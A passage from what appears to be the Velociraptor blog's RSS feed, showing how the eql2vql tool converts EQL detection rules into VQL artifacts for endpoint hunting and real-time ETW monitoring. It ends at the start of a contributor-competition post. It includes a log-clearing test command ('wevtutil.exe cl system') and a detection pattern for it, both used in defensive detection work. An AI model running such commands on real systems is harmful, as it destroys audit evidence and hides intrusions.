on my&#xA;test system?&lt;/p&gt;&#xA;&lt;p&gt;Sysmon will detect the process start and write an event into the&#xA;system event log.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql//blog/2021/2021-11-09-eql2vql/sysmon_event.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;A typical Sysmon Event&#34;&#xA;         width=&#34;946&#34; height=&#34;891&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sysmon_event.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    A typical Sysmon Event&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Eventually the event will be forwarded to the Elastic stack, detection&#xA;queries run over it and potentially an alert will be escalated.&lt;/p&gt;&#xA;&lt;p&gt;Since we know this event will trigger the EQL detection, let&amp;rsquo;s see how&#xA;Sysmon event fields are mapped into the ECS fields that the EQL query&#xA;works on.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Sysmon Field&lt;/th&gt;&#xA;          &lt;th&gt;ECS Field&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;System.EventID&lt;/td&gt;&#xA;          &lt;td&gt;maps to event.type = &amp;ldquo;start&amp;rdquo;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;EventData.Image&lt;/td&gt;&#xA;          &lt;td&gt;strip directory part and store in &lt;code&gt;process.name&lt;/code&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;EventData.OriginalFileName&lt;/td&gt;&#xA;          &lt;td&gt;stored in &lt;code&gt;process.pe.original_file_name&lt;/code&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;EventData.CommandLine&lt;/td&gt;&#xA;          &lt;td&gt;is split into array and stored in &lt;code&gt;process.args&lt;/code&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;All the details of how the original Sysmon event fields are&#xA;transformed to ECS fields can be found coded in&#xA;&lt;a href=&#34;https://github.com/elastic/beats/blob/master/x-pack/winlogbeat/module/sysmon/config/winlogbeat-sysmon.js&#34; target=&#34;_blank&#34; &gt;winlogbeat-sysmon.js&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-can-we-use-eql-detection-queries&#34;&gt;How can we use EQL detection queries?&lt;/h2&gt;&#xA;&lt;p&gt;So now that we understand how EQL detections work, how can we use the&#xA;same detection logic in Velociraptor? Velociraptor&amp;rsquo;s philosophy is&#xA;that detection should be distributed - rather than forwarding all raw&#xA;events to a central place for triaging, we wish to be able to do the&#xA;detection directly on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;In order to do this, we need to convert the EQL to VQL that works&#xA;directly on the raw source event logs as produced by Sysmon - in other&#xA;words we need to reverse the above transformation from the ECS fields&#xA;mentioned in the EQL query back to the original event log fields found&#xA;on the endpoint.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-eql2vql-project&#34;&gt;The &lt;code&gt;eql2vql&lt;/code&gt; project&lt;/h3&gt;&#xA;&lt;p&gt;Let me introduce a new project to automatically convert EQL detection&#xA;rules to VQL artifacts: &lt;a href=&#34;https://github.com/Velocidex/eql2vql&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/eql2vql&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The aim of this project is to automatically produce a VQL artifact&#xA;that parses a set of EQL detection rules into a single VQL&#xA;artifact. The produced artifact can be used to hunt for notable event&#xA;log patterns at scale in minutes using Velociraptor&amp;rsquo;s hunting&#xA;capabilities!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a look at an example to illustrate how it works. I will&#xA;keep it simple and just convert the single rule&#xA;&lt;code&gt;defense_evasion_clearing_windows_event_logs.toml&lt;/code&gt; containing the&#xA;sample EQL query above, to create a new VQL artifact&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ python3 parser/eql2vql.py -p SysmonEVTXLogProvider ~/projects/detection-rules/rules/windows/defense_evasion_clearing_windows_event_logs.toml -o /tmp/detection_vql.yaml&#xA;Created artifact &#39;Windows.Sysmon.Detection&#39; with 1 detections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this case I selected the &lt;code&gt;SysmonEVTXLogProvider&lt;/code&gt; as I wanted to&#xA;search the EVTX files directly on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a look at the produced VQL&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET SysmonGenerator = generate(name=&amp;quot;Sysmon&amp;quot;,&#xA;query={&#xA;  SELECT * FROM foreach(row={SELECT FullPath FROM glob(globs=EVTXGlob)},&#xA;     query={&#xA;      SELECT *&#xA;      FROM parse_evtx(filename=FullPath)&#xA;    })&#xA;}, delay=500)&#xA;&#xA;LET ProcessInfo = generate(name=&amp;quot;ProcessInfo&amp;quot;, query={&#xA;   SELECT *,&#xA;          basename(path=EventData.ParentImage) AS ParentImageBase,&#xA;          basename(path=EventData.Image) AS ImageBase,&#xA;          commandline_split(command=EventData.CommandLine) AS CommandArgs,&#xA;          get(item=ProcessTypes, field=str(str=System.EventID.Value)) AS event_type&#xA;   FROM SysmonGenerator&#xA;   WHERE System.EventID.Value in (1, 5)&#xA;})&#xA;&#xA;LET ProcessTypes &amp;lt;= dict(`1`=&amp;quot;start&amp;quot;, `5`=&amp;quot;stop&amp;quot;)&#xA;&#xA;LET _ClearingWindowsEventLogs = SELECT &#39;Clearing Windows Event Logs&#39; AS Detection,&#xA;       EventData.User AS User,&#xA;       EventData.CommandLine AS CommandLine,&#xA;       EventData.ParentImage AS ParentImage,&#xA;       EventData.Image AS Image,&#xA;       EventData.UtcTime AS UtcTime,&#xA;       EventData || UserData AS _EventData,&#xA;       System AS _System&#xA;FROM ProcessInfo&#xA;WHERE  (  ( event_type IN (&#39;process_started&#39;, &#39;start&#39; )&#xA;  AND  ( ImageBase =~ &#39;^wevtutil\\.exe$&#39; OR EventData.OriginalFileName = &#39;wevtutil.exe&#39; )&#xA;  AND CommandArgs =~ &#39;^/e:false$|^cl$|^clear-log$&#39; )  OR  ( ImageBase =~ &#39;^powershell\\.exe$&#39;&#xA;  AND CommandArgs =~ &#39;^Clear-EventLog$&#39; )  )&#xA;&#xA;SELECT * FROM _ClearingWindowsEventLogs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The query is split into two main parts:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;Provider&lt;/code&gt; is a set of queries that extract Sysmon EVTX events&#xA;ready for further filtering. In this case we just read the events&#xA;from the EVTX files on disk.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The second part of the query implements the detection logic as&#xA;expressed by the EQL query above.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s test this artifact on our test system that we used previously to&#xA;run the command &lt;code&gt;wevtutil.exe cl system&lt;/code&gt;, I will first add the new&#xA;artifact to Velociraptor by simply copy/pasting the generated code as&#xA;a new artifact in the GUI&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql//blog/2021/2021-11-09-eql2vql/adding_new_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding the new detection artifact&#34;&#xA;         width=&#34;1295&#34; height=&#34;901&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_new_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding the new detection artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I will schedule the artifact for collection on my endpoint&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql//blog/2021/2021-11-09-eql2vql/collecting_new_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting the new detection artifact&#34;&#xA;         width=&#34;1557&#34; height=&#34;901&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collecting_new_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting the new detection artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;And in literally seconds, I find the system that triggered the rule&#xA;and the command line that triggered it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql//blog/2021/2021-11-09-eql2vql/detecting_new_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Detecting with the new artifact&#34;&#xA;         width=&#34;1571&#34; height=&#34;610&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;detecting_new_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Detecting with the new artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To search a large number of hosts, I can start a hunt with this&#xA;artifact and in minutes find which of my hosts triggered the rule.&lt;/p&gt;&#xA;&lt;h3 id=&#34;adding-more-rules&#34;&gt;Adding more rules&lt;/h3&gt;&#xA;&lt;p&gt;We have seen how the EQL translates to a VQL detection query, but what&#xA;if we have many rules? Lets convert the entire set of detection rules&#xA;into a single artifact.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ python3 parser/eql2vql.py -p SysmonEVTXLogProvider ~/projects/detection-rules/rules/windows/* -o /tmp/detection_vql.yaml&#xA;Created artifact &#39;Windows.Sysmon.Detection&#39; with 165 detections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The new artifact applies all the detection queries simultaneously on&#xA;all rows from the EVTX files. Collecting it again we have found some&#xA;new detections!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql//blog/2021/2021-11-09-eql2vql/collecting_more_detections.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Detecting with the full set of rules&#34;&#xA;         width=&#34;1573&#34; height=&#34;621&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collecting_more_detections.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Detecting with the full set of rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;real-time-detections&#34;&gt;Real time detections&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s hunting capabilities make it a breeze for actively&#xA;searching for signed of past compromise on endpoints. However what&#xA;about real time alerting? It would be nice to receive immediate&#xA;notification when a detection rule is triggered.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor supports real time&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/clients/monitoring/&#34;&gt;client monitoring&lt;/a&gt;&#xA;via event queries. Event queries run constantly on the endpoint&#xA;receiving rows from events.&lt;/p&gt;&#xA;&lt;p&gt;We have previously explored how Event Queries can be used for real&#xA;time monitoring and in particular how VQL can leverage&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw/&#34;&gt;Event Tracing for Windows&lt;/a&gt;&#xA;(ETW).&lt;/p&gt;&#xA;&lt;h3 id=&#34;using-eql-detections-with-real-time-monitoring&#34;&gt;Using EQL detections with real time monitoring&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;eql2vql&lt;/code&gt; project contains a second provider that reads Sysmon&#xA;events directly from ETW sources. This bypasses the windows event log&#xA;system completely, and applies the VQL directly on real time ETW&#xA;events.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ python3 parser/eql2vql.py -p SysmonETWProvider ~/projects/detection-rules/rules/windows/defense_evasion_clearing_windows_event_logs.toml -o /tmp/detection_vql.yaml&#xA;Created artifact &#39;Windows.Sysmon.EventDetection&#39; with 1 detections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Advantage of ETW &#34;&gt;&lt;p&gt;We have previously discussed how event logs can be &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/&#34;&gt;turned off or&#xA;disabled&lt;/a&gt;&#xA;which would interfere with tools that rely on event logs&#xA;directly. However, ETW sources still work, even if the event log itself&#xA;is disabled.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;This time we have used the &lt;code&gt;SysmonETWProvider&lt;/code&gt; to source the Sysmon&#xA;events directly from Sysmon&amp;rsquo;s ETW subsystem:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET SysmonGenerator = generate(name=&amp;quot;Sysmon&amp;quot;,&#xA;query={&#xA;  SELECT dict(EventID=dict(Value=System.ID),&#xA;              Timestamp=System.TimeStamp) AS System,&#xA;         EventData&#xA;  FROM watch_etw(guid=&#39;{5770385f-c22a-43e0-bf4c-06f5698ffbd9}&#39;)&#xA;  WHERE get(field=&amp;quot;EventData&amp;quot;)&#xA;}, delay=500)&#xA;&#xA;--- Rest of query is exactly the same as before&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The only difference here is that the artifact produced is a client&#xA;monitoring artifact so it can be installed on all clients permanently,&#xA;continuously monitoring their Sysmon event source for the same EQL&#xA;detections. As soon as an EQL rule matches, Velociraptor will emit a&#xA;single row and send it to the server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-11-09-eql2vql//blog/2021/2021-11-09-eql2vql/real_time_detections.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Real time detections&#34;&#xA;         width=&#34;1394&#34; height=&#34;432&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;real_time_detections.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Real time detections&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can escalate such detections, through a number of mechanisms,&#xA;such as &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/&#34;&gt;Slack alerts&lt;/a&gt;, or escalate to an external case management tool like &lt;a href=&#34;https://wlambertts.medium.com/zero-dollar-detection-and-response-orchestration-with-n8n-security-onion-thehive-and-10b5e685e2a1&#34; target=&#34;_blank&#34; &gt;The Hive&#xA;&lt;/a&gt;. See &lt;a href=&#34;https://www.velociraptor-docs.org/docs/server_automation/server_monitoring/&#34;&gt;Server Monitoring&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&lt;p&gt;We can even use the resulting VQL artifact as a base for other queries&#xA;to provide further enrichment and response capabilities.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-velociraptor-difference&#34;&gt;The Velociraptor difference&lt;/h2&gt;&#xA;&lt;p&gt;In this blog post we discussed a current effort to port EQL detections&#xA;to Velociraptor. Being able to automatically convert EQL detection&#xA;rules into VQL allows us to apply these rules in a wider context - We&#xA;can hunt a large set of EVTX files for past compromise, or apply the&#xA;same rules in real time to allow the endpoint to autonomously detect&#xA;and response without needing to be online or connected to the SIEM.&lt;/p&gt;&#xA;&lt;p&gt;The main premise of Velociraptor&amp;rsquo;s value proposition is to &lt;code&gt;push the processing to the endpoint&lt;/code&gt;. Instead of feeding all events from&#xA;thousands of endpoints to a central location and then using a high&#xA;performance database to churn though thousands of events per second,&#xA;Velociraptor simply runs the VQL query &lt;strong&gt;on each endpoint&#xA;independently&lt;/strong&gt; and forwards only those high value detections to the&#xA;server. This solution scales very well because each endpoint is doing&#xA;it&amp;rsquo;s own independent detection and does not need to forward &lt;strong&gt;all&lt;/strong&gt;&#xA;events to the server. What does get forwarded is a very high value&#xA;subset of events that typically indicate a successful detection!&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions-and-further-work&#34;&gt;Conclusions and further work&lt;/h2&gt;&#xA;&lt;p&gt;We are still working on the EQL to VQL conversion engine. Currently&#xA;not all EQL syntax is fully converted to VQL yet so some detection&#xA;rules can not be converted. We hope that with time we build enough&#xA;coverage to make the conversion as accurate as possible.&lt;/p&gt;&#xA;&lt;p&gt;Since VQL is a much more capable language with access to a lot more&#xA;data (since it is running on the endpoint), we hope to build more&#xA;accurate and powerful detection rules. For example by correlating&#xA;information from the filesystem, NTFS analysis, Yara scans, memory&#xA;analysis etc. These capabilities can build on the basic EQL detection&#xA;rules to help eliminate false positives. At the same time we can draw&#xA;on the existing body of work in detection rules available with EQL.&lt;/p&gt;&#xA;&lt;p&gt;We decided to focus on EQL because it is fairly similar to VQL in&#xA;spirit (both are query languages) so the conversion is a little&#xA;easier. But there are other sources of threat intelligence such as Sigma&#xA;which also output to EQL! A good coverage of the EQL capabilities will&#xA;get us Sigma support as well.&lt;/p&gt;&#xA;&lt;p&gt;I wanted to write about this effort and have the community help us in&#xA;testing, further suggestions and other contributions, even in this&#xA;very early stage.  If you would are interested in improving endpoint&#xA;detection technology, take Velociraptor for a spin! It is available on&#xA;&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; under an open&#xA;source license. As always, please file issues on the bug tracker or&#xA;ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;. You can also chat with us&#xA;directly on discord at &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>A Closer Look at the Winning Entry in the 2021 Velociraptor Contributor Competition</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/</link>
      <pubDate>Wed, 20 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/16AEbbSzNdpNFVHh0VnSEoA.jpeg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;509&#34; height=&#34;339&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;16AEbbSzNdpNFVHh0VnSEoA.jpeg&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;On Friday October 9 the Velociraptor team crowned the grand prize winner in our 2021 Contributor Competition — unanimously won by Justin Welgemoed. His entry, “File Type Detection and Client-Server-Client Workflows” absolutely WOWed the judges. Want to learn more about Justin’s submission and how it takes Velociraptor to the next level? Read below for a deep dive into his work.&lt;/p&gt;&#xA;&lt;h3 id=&#34;2021-velociraptor-contributor-competition-entry&#34;&gt;2021 Velociraptor Contributor Competition Entry:&lt;/h3&gt;&#xA;&lt;h2 id=&#34;file-type-detection-and-client-server-client-workflows&#34;&gt;File Type Detection and Client-Server-Client Workflows&lt;/h2&gt;&#xA;&lt;p&gt;Currently most Velociraptor artifacts are written in such a way that they are self-contained and are therefore mostly useful in a standalone manner. In other words the common approach to artifact-writing tends to produce monolithic artifacts which typically have to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;do some kind of targeting logic&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;do something with the target files (if found)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;do something with or about the results&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The current approach results in a few downsides and inefficiencies:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;some artifacts end up being rather lengthy and difficult to understand at a glance.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;there is inevitably a lot of very similar or even duplicated logic across many artifacts.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;artifacts are heavily dependent of path specifications which makes them somewhat brittle and prone to missing filesystem targets which are not in the conventional locations. This also means that the current artifacts are mainly suited to the use case of “online” data due to the the heavy reliance on path specifications. Thus many Velociraptor artifacts (without modification) are usable only on “live/online” endpoints and will not work against “offline” data, for example data which has been collected through disk imaging or other collection methods.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;goals&#34;&gt;Goals&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The first goal of this demonstration is to show that Velociraptor artifacts can implement client-server-client workflow automation, with decision logic being driven by the server-side in order to achieve a more dynamic/flexible and modular system of DFIR data collection. This also shows that Velociraptor can support reasonably complex workflows implemented &lt;em&gt;using only VQL&lt;/em&gt;, rather than having to implement decision logic in an external application that interfaces via the Velociraptor API. In a nutshell: client artifacts and server artifacts can dance together. Client artifacts don’t have to do all the heavy lifting on their own. Server Monitoring artifacts are essentially server-based services that are an underutilized yet powerful component of Velociraptor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The 2nd goal here is to demonstrate an approach that uses more concise and reusable Velociraptor artifacts. This is accomplished in 3 ways:&lt;/p&gt;&#xA;&lt;p&gt;a. by creating artifacts that each do a very specific thing, i.e. functional simplification which also increases reusability.&lt;/p&gt;&#xA;&lt;p&gt;b. by shifting some processing logic to the server side. In this way the processing logic can be spread across multiple artifacts.&lt;/p&gt;&#xA;&lt;p&gt;c. through use of Velociraptor features in the artifact definition and in the VQL plugins set which directly facilitate code reuse, mainly these ones:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;the-artifact-plugin&#34;&gt;the Artifact() plugin&lt;/h2&gt;&#xA;&lt;p&gt;This allows Velociraptor artifacts to call other artifacts… which can then call other artifacts… and so on. With some careful planning this allows us to construct artifacts with branching logic to other (reusable) artifacts. This plugin also allows us to call a series of artifacts from one parent artifact, and perhaps have several layers of artifacts below the child artifact. This arrangement of logically related artifacts can amount to a sort of “playbook” where artifacts are invoked automatically rather than being run independently and manually.&lt;/p&gt;&#xA;&lt;p&gt;Recently it &lt;a href=&#34;https://github.com/Velocidex/velociraptor/issues/1235#issuecomment-915721425&#34; target=&#34;_blank&#34; &gt;became possible&lt;/a&gt; to use preconditions in artifacts that are called by other artifacts. This allows us to have artifacts that can adapt themselves to their environment or the data. In this demo we use that approach to have unified triage artifacts that will run equally well on Windows, Mac and Linux.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exportimports&#34;&gt;export/imports&lt;/h2&gt;&#xA;&lt;p&gt;This &lt;a href=&#34;https://github.com/Velocidex/velociraptor/pull/1087&#34; target=&#34;_blank&#34; &gt;relatively new&lt;/a&gt; feature allows artifacts to share blocks of code, including VQL, with other artifacts. Some of the current bundled artifacts are overloaded with huge reference lists and signature definitions. Artifacts such as these could benefit by having their weighty reference components allocated to dedicated artifacts which don’t have any VQL queries. These artifacts would then significantly cut down the size of some existing artifacts and again it is something that facilitates code-sharing across artifacts.&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The 3rd goal is to demonstrate that artifacts can be easily created to support multiple platforms, as mentioned above. Although this demonstration targets Windows files it does not require that the processing be done &lt;em&gt;on&lt;/em&gt; a Windows system. That means that it can also be used for “offline” processing of Windows files collected via external mechanisms (for example Kroll’s KAPE collection tool or disk images).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The 4th goal is to demonstrate a setup artifact that loads artifacts, tools and server monitoring tasks in 2 easy steps.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The 5th goal is to show that RawSec GENE is an excellent evtx triaging/analysis tool. I hope that more DFIR people start using it and support the tool’s author, &lt;a href=&#34;https://github.com/qjerome&#34; target=&#34;_blank&#34; &gt;Quentin Jerome&lt;/a&gt;, who has put years into it’s development and it’s sibling open-source DFIR tools that are very much under-appreciated.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img 